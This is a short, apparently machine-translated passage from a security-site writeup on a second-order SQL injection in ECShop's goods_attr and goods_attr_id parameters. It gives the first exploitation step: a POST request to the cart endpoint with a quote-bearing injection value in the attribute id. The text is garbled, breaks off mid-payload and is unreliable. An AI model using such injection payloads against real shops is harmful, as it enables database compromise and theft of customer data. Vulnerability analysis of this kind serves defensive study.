ecshop the goods_attr and goods_attr_id two secondary injection vulnerability detailed analysis-vulnerability warning-the black bar safety net

A: goodsattrid secondary injection ! 2 0 1 3 0 7 3 0 1 5 2 7 4 9 1 Injection use process: 1. Add items to your cart, write the injection code to product attribute id http://localhost/test/ecshop/flow.php?step=addtocart POST: goods="quick":1,"spec":"1 6 3","1 5 8'","goodsid":3...